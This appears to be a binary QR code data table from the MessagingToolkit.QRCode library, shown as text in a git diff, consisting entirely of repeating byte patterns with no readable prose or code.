~}~}~}~}~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzywxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefefefefefedcdcdcdcdcdcdcdabababababababab`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIJIHGHGGGGGGHGHGHGHGHGGGGGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:787878787878787856565656565656565656565634343434343434341212121212121212//////0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzywxwxwxwxwxwxwwwwuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijihghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab`_`_`_`_`_`_`___^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787878785656565656565656565656563434343434343434121212121210/0/00/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzywxwxwxwxwwxwxwxwuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmlklklklklklklklklklklklijijijijijijijijghghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab`_`_`_`____`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:7878787878787878565656565656565656565656343434343434321212121212/0//////0/0/0/0/0/////0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzywxwxwxwwxwxwxwxwuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqpopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab`_`_`_`__`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGHGHGGGGEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787878785656565656565656565656543434343412121212121212120/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzywwwwxwxwxwxwxwxwuvuvuvuvuvuvuvuvutstststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_____`_`_`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGGHGHGHGEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9878787878787878785656565656565656343434343434343412121212121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_`_`_`_`_`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGGHGHGHGHGEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:7878787878787878787878785656565656565656343434343434343412121212121212120/0/0/0/0/0/////.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_`_`_`_`_`_`_`_`^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGGGGHGHGHGHGHGHGEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:7878787878787878787878785656565656565656343434343434343412121212121212120/0/0/0//0/0/0/0.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!                      - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - -            - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - - - -          - - - - - - - - - - - -~~}}LLKKJJII--..//00aabbccddggffee__$$##""!!++,,--..nnooppqqUUTTSSRR$%%&&''(XYYZZ[[\uttssrrqA@@??>>= - - ())**++,\]]^^__`qppoonnm=<<;;::9 ,--..//0`aabbccdmllkkjji9887766501122334deeffgghihhggffe5443322145566778hiijjkkl[ZZYYXXW*++,,--.mnnooppqVUUTTSSR QQRRSSTT||{{zzyyHHGGFFEE!!""##$$UUVVWWXXxxwwvvuuDDCCBBAA %%&&''((YYZZ[[\\ttssrrqq@@??>>== - - ))**++,,]]^^__``ppoonnmm<<;;::99--..//00aabbccddggffee__$$##""!!##$$%%&&ffgghhii]]\\[[ZZ$$##""!!IJJKKLLM}~~POONNMMLMNNOOPPQ~~}}|LKKJJIIH !QRRSSTTU|{{zzyyxHGGFFEED!""##$$%UVVWWXXYxwwvvuutDCCBBAA@ %&&''(()YZZ[[\\]onnmmllk,++**))(YZZ[[\\]ggffeedc,++**))(BBCCDDEEvvwwxxyyWWVVUUTT##""!! FFGGHHIIzz{{||}}SSRRQQPPJJKKLLMM~~OONNMMLLNNOOPPQQ~~}}||KKJJIIHH !!RRSSTTUU||{{zzyyHHGGFFEE11223344eeffgghh^^]]\\[[ //556677rrssttuuQQPPOONN())**++,\]]^^__`qppoonnm=<<;;::9 ,--..//0`aabbccdmllkkjji9887766501122334deeffgghihhggffe5443322145566778hiijjkkleddccbba100//..-899::;;>== - - ))**++,,]]^^__``ppoonnmm<<;;::99--..//00aabbccddllkkjjii8877665511223344eeffgghh^^]]\\[[ ''(())**jjkkllmmYYXXWWVV MNNOOPPQ~~}}|LKKJJIIH !QRRSSTTU|{{zzyyxHGGFFEED!""##$$%UVVWWXXYxwwvvuutDCCBBAA@ %&&''(()YZZ[[\\]tssrrqqp@??>>==< - - )**++,,-]^^__``akjjiihhg(''&&%%$ !!""#]^^__eefba`__^^](''&&%%$FFGGHHIIzz{{||}}SSRRQQPPJJKKLLMM~~OONNMMLLNNOOPPQQ~~}}||KKJJIIHH !!RRSSTTUU{{zzyyxxGGFFEEDD""##$$%%VVWWXXYYxxwwvvuuDDCCBBAA 55667788iijjkkllZZYYXXWW8899::;;vvww}}~~MMLKJIHG,--..//0`aabbccdmllkkjji9887766501122334deeffgghihhggffe5443322145566778hiijjkkleddccbba100//..-899::;;>??@pqqrrsstSRRQQPPO 78899::;uvvww}}~NMMLKJIH%%&&''((YYZZ[[\\ttssrrqq@@??>>== - - ))**++,,]]^^__``ppoonnmm<<;;::99--..//00aabbccddllkkjjii8877665511223344eeffgghhhhggffee4433221155667788iijjkkllZZYYXXWW++,,--..nnooppqqUUTTSSRR !QRRSSTTU|{{zzyyxHGGFFEED!""##$$%UVVWWXXYxwwvvuutDCCBBAA@ %&&''(()YZZ[[\\]tssrrqqp@??>>==< - - )**++,,-]^^__``apoonnmml<;;::998-..//001abbccddegffee__^$##""!! #$$%%&&'fgghhiij]\\[[ZZY$##""!! JJKKLLMM~~OONNMMLLNNOOPPQQ~~}}||KKJJIIHH !!RRSSTTUU{{zzyyxxGGFFEEDD""##$$%%VVWWXXYYwwvvuuttCCBBAA@@ &&''(())ZZ[[\\]]ttssrrqq@@??>>== - - 99::;;<>??GFFEEDDC -01122334deeffgghihhggffe5443322145566778hiijjkkleddccbba100//..-899::;;>??@pqqrrsst]\\[[ZZY)((''&&% @AABBCCDtuuvvwwxONNMMGGF - - ;<<==>>?~GGFFEEDD ))**++,,]]^^__``ppoonnmm<<;;::99--..//00aabbccddllkkjjii8877665511223344eeffgghhhhggffee4433221155667788iijjkkllddccbbaa00//..--99::;;<>==< - - )**++,,-]^^__``apoonnmml<;;::998-..//001abbccddelkkjjiih8776655412233445effgghhi^]]\\[[Z '(())**+jkkllmmnYXXWWVVU NNOOPPQQ~~}}||KKJJIIHH !!RRSSTTUU{{zzyyxxGGFFEEDD""##$$%%VVWWXXYYwwvvuuttCCBBAA@@ &&''(())ZZ[[\\]]ssrrqqpp??>>==<< - - **++,,--^^__``aavvuuttssppoonnmm<<;;::99 - - ==>>??@@qqrrssttRRQQPPOO @@AABBCC~~}}|{zyCBBAA@@? - 45566778hiijjkkleddccbba100//..-899::;;>??@pqqrrsst]\\[[ZZY)((''&&% @AABBCCDtuuvvwwxYXXWWVVU%$$##""!DEEFFGGHxyyzz{{|FEEDDCCB?@@AABBC~~}}|{zCCBBAA@@ - - --..//00aabbccddllkkjjii8877665511223344eeffgghhhhggffee4433221155667788iijjkkllddccbbaa00//..--99::;;<>??@@qqrrssttRRQQPPOO 8899::;;vvww}}~~MMLKJIHG%&&''(()YZZ[[\\]tssrrqqp@??>>==< - - )**++,,-]^^__``apoonnmml<;;::998-..//001abbccddelkkjjiih8776655412233445effgghhihggffeed4332211056677889ijjkkllmZYYXXWWV+,,--../nooppqqrUTTSSRRQ !!RRSSTTUU{{zzyyxxGGFFEEDD""##$$%%VVWWXXYYwwvvuuttCCBBAA@@ &&''(())ZZ[[\\]]ssrrqqpp??>>==<< - - **++,,--^^__``aaoonnmmll;;::9988..//0011bbccddeerrqqppoollkkjjii88776655 AABBCCDDuuvvwwxxNNMMGGFF - - DDEEFFGGxwwvvuut?>>==<<;899::;;>??@pqqrrsst]\\[[ZZY)((''&&% @AABBCCDtuuvvwwxYXXWWVVU%$$##""!DEEFFGGHxyyzz{{|UTTSSRRQ! HIIJJKKL|}}~~BAA@@??> CDDEEFFGyxwwvvuu??>>==<<11223344eeffgghhhhggffee4433221155667788iijjkkllddccbbaa00//..--99::;;<>??@@qqrrsstt\\[[ZZYY((''&&%% AABBCCDDuuvvwwxxNNMMGGFF - - <<==>>??GFFEEDDC -)**++,,-]^^__``apoonnmml<;;::998-..//001abbccddelkkjjiih8776655412233445effgghhihggffeed4332211056677889ijjkkllmdccbbaa`0//..--, 9::;;<<=mnnooppqVUUTTSSR/5566778rssttuuvQPPOONNM""##$$%%VVWWXXYYwwvvuuttCCBBAA@@ &&''(())ZZ[[\\]]ssrrqqpp??>>==<< - - **++,,--^^__``aaoonnmmll;;::9988..//0011bbccddeekkjjiihh7766554422334455ffgghhiinnmmllkkhhggffee44332211EEFFGGHHyyzz{{||EEDDCCBB - - MMNNOOPPtssrrqqp;::99887 - - <==>>??@pqqrrsst]\\[[ZZY)((''&&% @AABBCCDtuuvvwwxYXXWWVVU%$$##""!DEEFFGGHxyyzz{{|UTTSSRRQ! HIIJJKKL|}}~~QPPOONNMLMMNNOOP~~}>==<<;;: - - GMMNNOOPttssrrqq;;::998855667788iijjkkllddccbbaa00//..--99::;;<>??@@qqrrsstt\\[[ZZYY((''&&%% AABBCCDDuuvvwwxxXXWWVVUU$$##""!!EEFFGGHHyyzz{{||EEDDCCBB@@AABBCC~~}}|{zyCBBAA@@? - -..//001abbccddelkkjjiih8776655412233445effgghhihggffeed4332211056677889ijjkkllmdccbbaa`0//..--, 9::;;<<=mnnooppq`__^^]]\,++**))( - - =>>??@@AqrrssttuRQQPPOON 899::;;>==<< - - **++,,--^^__``aaoonnmmll;;::9988..//0011bbccddeekkjjiihh7766554422334455ffgghhiiggffeedd3322110066778899jjkkllmmjjiihhggddccbbaa00//..--IIJJKKLL}}~~AA@@??>>QQRRSSTTpoonnmml76655432 @AABBCCDtuuvvwwxYXXWWVVU%$$##""!DEEFFGGHxyyzz{{|UTTSSRRQ! HIIJJKKL|}}~~QPPOONNMLMMNNOOP~~}MLLKKJJI PQQRRSST}wwvvuut:9988776 PQQRRSSTppoonnmm7766554399::;;<>??@@qqrrsstt\\[[ZZYY((''&&%% AABBCCDDuuvvwwxxXXWWVVUU$$##""!!EEFFGGHHyyzz{{||TTSSRRQQ IIJJKKLL}}~~AA@@??>> DDEEFFGGxwwvvuut?>>==<<;12233445effgghhihggffeed4332211056677889ijjkkllmdccbbaa`0//..--, 9::;;<<=mnnooppq`__^^]]\,++**))( - - =>>??@@Aqrrssttu\[[ZZYYX(''&&%%$ ABBCCDDEuvvwwxxyNMMGGFFE - - <==>>??@~FFEEDDCC - -**++,,--^^__``aaoonnmmll;;::9988..//0011bbccddeekkjjiihh7766554422334455ffgghhiiggffeedd3322110066778899jjkkllmmccbbaa``//..--,, ::;;<<==nnooppqqffee__^^``__^^]],,++**))MMNNOOPP~~}}==<<;;::UUVVWWXXlkkjjiih10//..--DEEFFGGHxyyzz{{|UTTSSRRQ! HIIJJKKL|}}~~QPPOONNMLMMNNOOP~~}MLLKKJJI PQQRRSST}||{{zzyIHHGGFFE !!""##$TUUVVWWXtssrrqqp655//..-TUUVVWWXllkkjjii210//..- - - ==>>??@@qqrrsstt\\[[ZZYY((''&&%% AABBCCDDuuvvwwxxXXWWVVUU$$##""!!EEFFGGHHyyzz{{||TTSSRRQQ IIJJKKLL}}~~PPOONNMMMMNNOOPP~~}}==<<;;:: - - MMNNOOPPtssrrqqp;::9988756677889ijjkkllmdccbbaa`0//..--, 9::;;<<=mnnooppq`__^^]]\,++**))( - - =>>??@@Aqrrssttu\[[ZZYYX(''&&%%$ ABBCCDDEuvvwwxxyXWWVVUUT$##""!! EFFGGHHIyzz{{||}EDDCCBBA@AABBCCD~}}|{zyxBBAA@@?? ..//0011bbccddeekkjjiihh7766554422334455ffgghhiiggffeedd3322110066778899jjkkllmmccbbaa``//..--,, ::;;<<==nnooppqq__^^]]\\++**))(( - - >>??@@AArrssttuu]]\\[[ZZ\\[[ZZYY((''&&%% QQRRSSTTwwvvuutt99887766YYZZ[[\\hggffeed,,++**))HIIJJKKL|}}~~QPPOONNMLMMNNOOP~~}MLLKKJJI PQQRRSST}||{{zzyIHHGGFFE !!""##$TUUVVWWXyxxwwvvuEDDCCBBA $%%&&''(XYYZZ[[\poonnmml-,,++**)XYYZZ[[\hhggffee-,,++**) AABBCCDDuuvvwwxxXXWWVVUU$$##""!!EEFFGGHHyyzz{{||TTSSRRQQ IIJJKKLL}}~~PPOONNMMMMNNOOPP~~}}LLKKJJII QQRRSSTTwwvvuutt99887766QQRRSSTTpoonnmml76655432 9::;;<<=mnnooppq`__^^]]\,++**))( - - =>>??@@Aqrrssttu\[[ZZYYX(''&&%%$ ABBCCDDEuvvwwxxyXWWVVUUT$##""!! EFFGGHHIyzz{{||}TSSRRQQP IJJKKLLM}~~A@@??>>= -DEEFFGGMwwvvuutt>>==<<;;22334455ffgghhiiggffeedd3322110066778899jjkkllmmccbbaa``//..--,, ::;;<<==nnooppqq__^^]]\\++**))(( - - >>??@@AArrssttuu[[ZZYYXX''&&%%$$BBCCDDEEvvwwxxyyYYXXWWVVXXWWVVUU$$##""!!!!""##$$UUVVWWXXssrrqqpp55//..-- !!""]]^^__eecba`__^^((''&&%%LMMNNOOP~~}MLLKKJJI PQQRRSST}||{{zzyIHHGGFFE !!""##$TUUVVWWXyxxwwvvuEDDCCBBA $%%&&''(XYYZZ[[\uttssrrqA@@??>>= - - ())**++,\]]^^__`lkkjjiih)((''&&% !!"\]]^^__edcba`__^)((''&&%EEFFGGHHyyzz{{||TTSSRRQQ IIJJKKLL}}~~PPOONNMMMMNNOOPP~~}}LLKKJJII QQRRSSTT||{{zzyyHHGGFFEE!!""##$$UUVVWWXXssrrqqpp55//..--UUVVWWXXlkkjjiih10//..-- - - =>>??@@Aqrrssttu\[[ZZYYX(''&&%%$ ABBCCDDEuvvwwxxyXWWVVUUT$##""!! EFFGGHHIyzz{{||}TSSRRQQP IJJKKLLM}~~POONNMMLMNNOOPPQ~~}}w=<<;;::9 - MNNOOPPQssrrqqpp::99887766778899jjkkllmmccbbaa``//..--,, ::;;<<==nnooppqq__^^]]\\++**))(( - - >>??@@AArrssttuu[[ZZYYXX''&&%%$$BBCCDDEEvvwwxxyyWWVVUUTT##""!! FFGGHHIIzz{{||}}UUTTSSRRTTSSRRQQ %%&&''((YYZZ[[\\oonnmmll,,++**))##$$%%&&ffgghhii]]\\[[ZZ$$##""!! PQQRRSST}||{{zzyIHHGGFFE !!""##$TUUVVWWXyxxwwvvuEDDCCBBA $%%&&''(XYYZZ[[\uttssrrqA@@??>>= - - ())**++,\]]^^__`qppoonnm=<<;;::9 ,--..//0`aabbccdhggffee_%$$##""!"##$$%%&effgghhi^]]\\[[Z%$$##""!IIJJKKLL}}~~PPOONNMMMMNNOOPP~~}}LLKKJJII QQRRSSTT||{{zzyyHHGGFFEE!!""##$$UUVVWWXXxxwwvvuuDDCCBBAA %%&&''((YYZZ[[\\oonnmmll,,++**))YYZZ[[\\hggffeed,,++**)) ABBCCDDEuvvwwxxyXWWVVUUT$##""!! EFFGGHHIyzz{{||}TSSRRQQP IJJKKLLM}~~POONNMMLMNNOOPPQ~~}}|LKKJJIIH !QRRSSTTUwvvuutts98877665QRRSSTTUoonnmmll66554321 ::;;<<==nnooppqq__^^]]\\++**))(( - - >>??@@AArrssttuu[[ZZYYXX''&&%%$$BBCCDDEEvvwwxxyyWWVVUUTT##""!! FFGGHHIIzz{{||}}SSRRQQPPJJKKLLMM~~QQPPOONNPPOONNMM))**++,,]]^^__``kkjjiihh((''&&%%''(())**jjkkllmmYYXXWWVV  !!""##$TUUVVWWXyxxwwvvuEDDCCBBA $%%&&''(XYYZZ[[\uttssrrqA@@??>>= - - ())**++,\]]^^__`qppoonnm=<<;;::9 ,--..//0`aabbccdmllkkjji9887766501122334deeffggh_^^]]\\[! &''(())*ijjkkllmZYYXXWWV! MMNNOOPP~~}}LLKKJJII QQRRSSTT||{{zzyyHHGGFFEE!!""##$$UUVVWWXXxxwwvvuuDDCCBBAA %%&&''((YYZZ[[\\ttssrrqq@@??>>== - - ))**++,,]]^^__``kkjjiihh((''&&%% !!""]]^^__eecba`__^^((''&&%%EFFGGHHIyzz{{||}TSSRRQQP IJJKKLLM}~~POONNMMLMNNOOPPQ~~}}|LKKJJIIH !QRRSSTTU|{{zzyyxHGGFFEED!""##$$%UVVWWXXYsrrqqppo5//..--,UVVWWXXYkkjjiihh0//..--, - - >>??@@AArrssttuu[[ZZYYXX''&&%%$$BBCCDDEEvvwwxxyyWWVVUUTT##""!! FFGGHHIIzz{{||}}SSRRQQPPJJKKLLMM~~OONNMMLLNNOOPPQQ~~}}wwMMGGFFEEDDCCBBAAAABBCCDD}}|{zyxwBAA@@??> .//00112bccddeefkjjiihhg7665544323344556fgghhiijgffeeddc3221100/6778899:jkkllmmncbbaa``_/..--,,+ -:;;<<==>nooppqqrRQQPPOON @AABBCCDmllkkjji98877665 @AABBCCD@@??>>== - -EEFFGGMMwvvuutts>==<<;;:23344556fgghhiijgffeeddc3221100/6778899:jkkllmmncbbaa``_/..--,,+ -:;;<<==>nooppqqr_^^]]\\[+**))((' - >??@@AABrssttuuvNMMGGFFE - - -DEEFFGGMihhggffe54433221DEEFFGGH<<;;::99 NNOOPPQQsrrqqppo:99887766778899:jkkllmmncbbaa``_/..--,,+ -:;;<<==>nooppqqr_^^]]\\[+**))((' - >??@@AABrssttuuv[ZZYYXXW'&&%%$$#BCCDDEEFvwwxxyyzEDDCCBBA - MNNOOPPQeddccbba100//..-HIIJJKKL88776655RRSSTTUUonnmmllk65543210 -:;;<<==>nooppqqr_^^]]\\[+**))((' - >??@@AABrssttuuv[ZZYYXXW'&&%%$$#BCCDDEEFvwwxxyyzWVVUUTTS#""!! FGGHHIIJz{{||}}~A@@??>>=QRRSSTTUa``__^^]-,,++**)LMMNNOOP//..--,,VVWWXXYYkjjiihhg//..--,, - >??@@AABrssttuuv[ZZYYXXW'&&%%$$#BCCDDEEFvwwxxyyzWVVUUTTS#""!! FGGHHIIJz{{||}}~SRRQQPPOJKKLLMMN~xxw=<<;;::9UVVWWXXY]\\[[ZZY)((''&&% PQQRRSST++**))((ZZ[[\\]]gffeedcb++**))((BCCDDEEFvwwxxyyzWVVUUTTS#""!! FGGHHIIJz{{||}}~SRRQQPPOJKKLLMMN~ONNMMLLKNOOPPQQRwvvuutts98877665YZZ[[\\]YXXWWVVU%$$##""! !!""##$TUUVVWWX''&&%%$$ !!""##^^__eeffa`__^^]]''&&%%$$FGGHHIIJz{{||}}~SRRQQPPOJKKLLMMN~ONNMMLLKNOOPPQQR~~}}||{KJJIIHHG !!"RSSTTUUVsrrqqppo5//..--, !!""#]^^__eefUTTSSRRQ! $%%&&''(XYYZZ[[\##""!! $$%%&&''gghhiijj\\[[ZZYY##""!! JKKLLMMN~ONNMMLLKNOOPPQQR~~}}||{KJJIIHHG !!"RSSTTUUV{zzyyxxwGFFEEDDC"##$$%%&VWWXXYYZonnmmllk,++**))(#$$%%&&'fgghhiijQPPOONNM())**++,\]]^^__`(())**++kkllmmnnXXWWVVUUNOOPPQQR~~}}||{KJJIIHHG !!"RSSTTUUV{zzyyxxwGFFEEDDC"##$$%%&VWWXXYYZwvvuuttsCBBAA@@? &''(())*Z[[\\]]^kjjiihhg(''&&%%$'(())**+jkkllmmnMLLKKJJI,--..//0`aabbccd,,--..//ooppqqrrTTSSRRQQ !!"RSSTTUUV{zzyyxxwGFFEEDDC"##$$%%&VWWXXYYZwvvuuttsCBBAA@@? &''(())*Z[[\\]]^srrqqppo?>>==<<; - - *++,,--.^__``aabgffee__^$##""!! +,,--../nooppqqrIHHGGFFE01122334deeffggh55667788ssttuuvvPPOONNMM"##$$%%&VWWXXYYZwvvuuttsCBBAA@@? &''(())*Z[[\\]]^srrqqppo?>>==<<; - - *++,,--.^__``aabonnmmllk;::99887.//00112bccddeef^]]\\[[Z /5566778rssttuuuEDDCCBBA 45566778hiijjkkl 99::;;<>==<<; - - *++,,--.^__``aabonnmmllk;::99887.//00112bccddeefkjjiihhg7665544323344556fgghhiijZYYXXWWV899::;;>= - - 899::;;>??@@~~FEEDDCCB - - *++,,--.^__``aabonnmmllk;::99887.//00112bccddeefkjjiihhg7665544323344556fgghhiijgffeeddc3221100/6778899:jkkllmmnVUUTTSSR<==>>??@qppoonnm=<<;;::9 - - <==>>??@pqqrrssttuuZHAbے`JXQr˂p|ZdQbtlJ~HXnXv`HAZp˂J`ےtbdQZJbdQnvpfH~ˑZHAbے`JXQr˂pJtArd|ZdQfpvnXv`fHZp˂rXQJ`ۉbdQZ|drtJltnvpfH~ˑZHAbے`JXrbtlJtArd|ZdQ~HfpXv`bHAZpQJ`ےtbdQAJbdQH~f`vXnے`JXQr˂pZHAb|ZdQbtlJnXv`f~HfpvXQJ`ےbHAZdrtAJltbdQZ|H~f`vXnے`JXQr˂pZHAے|ZdQbtlJ~HXnXv`rXQJbHAZp|drbdQZ|vXnvpfH~fZHAbے`JXQlJtArd|f~HfpvnXv`˙bHAZp˂rXJltbdQZ|drtAvXnvpfHr˂pZHAbے`JXQlJtArd|vnXf~HbHbHAZpdrtAJdrtAvpfH~f`vXn`JXQr˂pZrd|ZdQbtlJtAXv`f~Hf˂rXQJ`ےbHAZdrtAJltbvpfH~f`HAbے`JXQr˂pZrd|ZdQbtے`JX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`vXnvˍ|drQtJlv`pvXQJ`ےZdrZ|dbdQZ|~f`vXnہJXQr˂pZHAے`ZdQbtlJtAv`f~HfpvnrXJ`ےbHAZp˙rtAJltbdvpfH~f`vXnJXQrAbے`㉀ۑpJf۝`vXnvˍp|drQtJltbAdZ|yz{|}~~}|{z \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_2.dat 